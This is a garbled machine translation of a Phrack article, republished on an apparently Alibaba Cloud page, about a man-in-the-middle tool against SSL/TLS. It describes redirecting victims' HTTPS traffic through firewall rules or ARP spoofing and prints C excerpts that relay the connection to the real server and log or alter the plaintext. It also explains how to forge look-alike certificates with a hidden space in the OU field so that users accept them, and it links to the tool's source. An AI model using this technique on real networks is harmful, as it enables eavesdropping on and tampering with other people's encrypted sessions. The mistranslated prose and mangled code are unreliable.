The current version of SSLv3 is version 3.1, also known as TLS. It provides a mechanism for secure data transmission over the network. It is said to meet all security needs, such as your bank account management.
But here I will tell you that this is actually impossible.
In this article, I will first introduce SSL, which is very important. However, we will not introduce deep issues such as how SSL is connected. If you are interested, please refer to the reference materials.
1. Why is SSL used?
SSL is designed for the following purposes in network data transmission:
Confidentiality
This is achieved through data encryption. When performing an SSL handshake, SSL selects a symmetric algorithm to encrypt the data before transmitting data on the network. There are many encryption algorithms used by SSL. If an algorithm is identified by a new network attack method, you only need to select another algorithm.
Message Integrity
SSL uses a robust message authentication code, such as SHA-1, which is placed at the back of the data packet and encrypted with the data. In this way, if the data is modified, the hash value cannot match the original verification code to detect whether the data is modified. Mac is also used to protect SSL connections from interference.
Replay-Attack)
SSL uses serial numbers to protect the communication party from packet replay attacks. This serial number is encrypted and serves as the load of the data packet. In the entire SSL handshake, there is a unique random number to mark the SSL handshake, so that the replay can be multiplied.
Protects against recorder attacks (reorder-attack)
The serial number mentioned above can also prevent attackers from recording data packets and sending them in different order.
Endpoint Verification
Use an X509 (current version is 3) certificate. SSL supports client and server verification. For more information about server connections, see.
This may sound safe, but after reading the program described in this article, I don't think so. (However, we cannot break client verification)
Using the attack method described in this article, we can see all the plaintext data on the SSL connection, modify the transmitted data according to our needs, and relay and send the data, send or even discard messages in the wrong order. This attack method is called man in the middle attack or man in the middle attack ).
2. X509 Digital Certificate
X509 digital certificate is an integral part of SSL. During the SSL handshake, the server sends its own digital certificate to the customer. An X509 digital certificate includes the issuer's recognition name (distinguished name), the subject's recognition name, a version number and serial number, the selected algorithm, and the key validity period, there is also the public key of the subject.
The subject is the name of the certificate containing the entity. The public key in the certificate belongs to the subject ). In common X509 digital certificates, there is no domain that indicates the DNS name. Generally, the CN Domain is reflected as the DNS name, but this is only a protocol that must be recognized by both the client and the digital certificate entity.
The issuer uses its own private key to issue this digital certificate. It is called the digital certificate Center (CA ).
Issuer: c = Eu, St = segfault, L = segfault,
O = www.segfault.net/email?crew@segfault.net
C, St, L, O, and email constitute the issuer's Identification name (distinguished name, DN ).
Subject: c = Eu, St = segfault, L = segfault, O = www.segfault.net,
CN = www.segfault.net/email?crew@segfault.net
A certificate can be issued by a public CA or by itself (the so-called self-issuing certificate ). In this example, the certificate is issued by yourself.
This is an unblocked original digital certificate. Next we will look at what it looks like if someone intercepts the connection.
This certificate is exchanged during the SSL handshake when your browser connects to the https://segfault.net. The Public Key saved in the certificate is used for session encryption.
To ensure the security of the pretty good layer, the certificate should be issued by a Ca (yourself or a public CA). The customer has the CA Public Key to check the validity of the certificate. If the customer does not have the CA Public Key, the browser will prompt the user to accept or reject the certificate. This is required for interactive client programs, but in fact, for certificates issued by too many sites, the customer does not have their public key to check the validity of the certificate. For common interactive client programs (such as the Netscape browser), this situation may cause the SSL connection to become meaningless.
3. Interception
To sum up, X509 digital certificate is an important part of SSL. Its task is to ensure the session between the customer and the server, and the key it uses is correct.
Now, imagine how we disguise a certificate and forward an SSL connection.
This is worth a try. Our motto is "teile und herrsche (which country is English ?)", Here we must solve two problems:
A. hijack the connection and forward it.
B. forge a digital certificate so that the customer can communicate with the real server.
A + B is generally called man in the middle attack. In theory, X509 should be able to prevent this attack, but the certificate check method adopted by common interactive client programs (such as the Netscape browser) makes this attack a good choice.
The first problem is well solved. If we are located between the customer and the server, we only need to slightly apply the subtotal (preferably on Linux or BSD) on our firewall to redirect the connection, in addition, we call our program MIMD. For Linux-2.2.x (ipchains) Kernels, use the following rules to intercept HTTPS packets and import them into the input chain:
To provide the source port of the SSL client, if we ignore this, the mimid will enter an infinite loop (iptables will redirect the redirected traffic ). The MIMD is bound to port 8888. It does not match this rule. Your physical location does not have to be in the middle of the SSL connection. It is enough to be in the server LAN or the client LAN. Using ARP fraud can accomplish this well, and even firewall rules do not have to be modified.
With these redirection rules, we can start to build the tool. You can use the API of the operating system to find the target address (getsockopt ()). The ns_socket: dstaddr () function in this tool can be compiled successfully in most operating systems. Using this applet, we can see the connected data.
To enable this applet to see the plaintext data of the connection, we need to use ssl_accpet () and ssl_connect () calls. First, we need to call (accept () to accept the connection of the client program, and then use ssl_connect () to initiate a connection request to the Real Server. Then, execute the real ssl_accept (). Suppose we have completed the initialization, such as loading the key file. At this time, the client program (such as a browser) will ask the user whether to accept the certificate of this tool.
However, the user can easily recognize that the certificate is forged, because when he browses Company A's website, he receives the certificate from Company B or the person on the way, which will inevitably lead to his suspicion.
Next we will solve this problem. The sequence of ssl_connect () and ssl_accept () should be correct and I will explain it.
4. DCA
If the user accepts forged certificates, we can use ssl_read () to read the plaintext data of the connection and use ssl_write () to forward them to the real server. Now we are working on how to forge a certificate.
Remember: ssl_connect () must be called before ssl_accept (), so that the server can treat us as legal users and perform a normal SSL handshake with us so that we can get the server certificate.
Let's take a look at the actual code:
// Blocking, waiting for the connection hijacked by iptables
While (AFD = accept (SFD, (sockaddr *) & from, & socksize)> = 0 ){
// Obtain the real connection
// Destination Address
If (ns_socket: dstaddr (AFD, & DST) <0 ){
Log (ns_socket: Why ());
Die (null );
}
...
++ I; // a global variable records the number of hijacked connections
If (Fork () = 0) {// fork generates a process and the child process processes the hijacked connection. The parent process continues to wait for the connection.
// Become a target server customer
If (sfd2 = socket (pf_inet, sock_stream, 0) <0 ){
Log ("Main: socket ");
Die (null );
}
If (ns_socket: bind_local (sfd2, 8888 + I, 0) <0 ){
Log (ns_socket: Why ());
Die (null );
} // Bind the socket to the local port to process multiple connections at the same time
// Initiate a connection to the Real Server
If (connect (sfd2, (struct sockaddr *) & DST,
Sizeof (DST) <0 ){
Log ("Main: connect ");
Die (null );
}
...
Client-> Start ();
Client-> fileno (sfd2); // use sfd2 to connect to the Real Server
// Perform an SSL handshake to establish an SSL connection
If (client-> connect () <0 ){
Log ("clientside handshake failed. Aborting .");
Die (null );
}
Now, the SSL handshake between us and the real server has been completed. Note: In the source code, both ssl_connect () and ssl_accept () functions are encapsulated into the client and server objects. Now, we can prepare ourselves as the connection between the SSL server and the ssl client:
// Server
Server-> Start (); // create an SSL object
Server-> fileno (AFD); // use the AFD socket to accept the Client Connection
We perform real forgery and call ssl_accept ():
If (enable_dca)
Ns_dca: do_dca (client, server );
The dynamic certificate Assembly function do_dca () performs the following tasks:
Give a certificate that is almost blank (except for the CDomain, all other rdn is blank), do_dca () uses the content obtained from the SSL handshake with the server to fill the remaining rdn domain. We extract L, St, O, CN, ou, and email domains, place them in our own certificates, and then display the certificates to SSL customers. To do this, do_dca () uses String Parsing (extracting rdn domains) and calls the Using X509 _ () function provided by OpenSSL.
Enter a space in the ou domain (organizationalunit, which was originally empty) of the Certificate Issuer. This space is not displayed in the SSL client program window, however, the forged new certificate and the certificate from the public CA can be differentiated. When the forged certificate arrives at the ssl client program, the client program will prompt the user whether to receive the certificate. The user sees that the certificate comes from a known trusted Ca (in fact, ou domain has an extra space, but the user cannot see it). For the ssl client program, it knows that the certificate is not from the CA that the user sees (a space difference ), therefore, if the public key of the CA is not found, the user is prompted to determine whether to accept the certificate. At this time, fooled users generally accept this certificate.
Now we can modify the subject domain (CN...) of the issuer and convert the previous X509 Certificate into self-signed certificate. The user cannot know that the self-issued certificate is forged.
Then, the re-assembled certificate is displayed to the customer:
// Do SSL handshake as fake-Server
If (server-> Accept () <0 ){
Log ("serverside handshake failed. Aborting .");
Die (null );
}
Ssl_forward (client, server );
The ssl_forward () function only calls the ssl_read/ssl_write function cyclically to record transmitted plaintext data. We can also modify the transmitted data as needed.
After MIMD is activated (the-I option is not used), we use CF to retrieve the X509 Certificate from the https server:
Compare the two certificates before and after activating MIMD. You can find that the public keys of the two certificates are different. The public keys of the subsequent certificates are actually MIMD's own public keys. The CDomain contains US and EU, which are displayed in the Netscape browser, which is no different from the original certificate. Have you noticed the ou domain of this certificate? The original certificate does not have this domain, and the new certificate contains a space. The issuer information of the new certificate is from the original digital certificate. This certificate is no longer issued by a public CA, but a self-signed certificate.
Next we use the-I option to restart MIMD. This time we use the subject of the intercepted certificate to fill in the issuer of the forged certificate, so that the forged certificate becomes a self-issued certificate.
Comparing these two forged certificates, you will find that the following issuer contains the CN domain, in order to enhance the counterfeit effect.
Conclusion
To sum up, users who use interactive client programs to surf the network cannot know that they are being attacked because they cannot tell the company to use an unknown Ca (company uses unknown CA) is it true that you have been attacked on the way. Moreover, even if he has browsed this site and saved its digital certificate before, he may still fall into the trap (Do you still remember the spaces in the ou Domain ?). For some police users, converting forged certificates into self-issued certificates will dispel their doubts.
This article uses separate-ports to disconnect the SSL connection, but in one case (Upward Negotiation) cannot use MIMD. SSL uses a keyword to convert the plain text data stream into an SSL data stream. This problem may be solved using msg_peek. They (the author) are studying it.
Reference
[1] "SSL and TLS" designing and building secure systems
Eric rescorla, aw 2001.
A 'ust-read' if you want/need to know how SSL works.
[2] "Angewandte kryptographie"
Bruce Schneier, aw 1996
The book for crypto-geeks. I read the German version,
In English its 'applied cryptograph'
[2] various OpenSSL C-files and manpages
[3] http://www.cs.uni-potsdam.de/homepages/students/linuxer/sslmim.tar.gz
A dca implementation, described in this article;
Also contains 'cf 'tool.
[4] in case you cannot try MIMD on your local box, View
A snapshot from a mim-ed session provided by Teso:
Http://www.team-teso.net/ssl-security.png
Source: haaaang on Snoopy, Snoopy hang on. (SSL for fun and profit) phrack volume 0x0b, issue 0x39
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
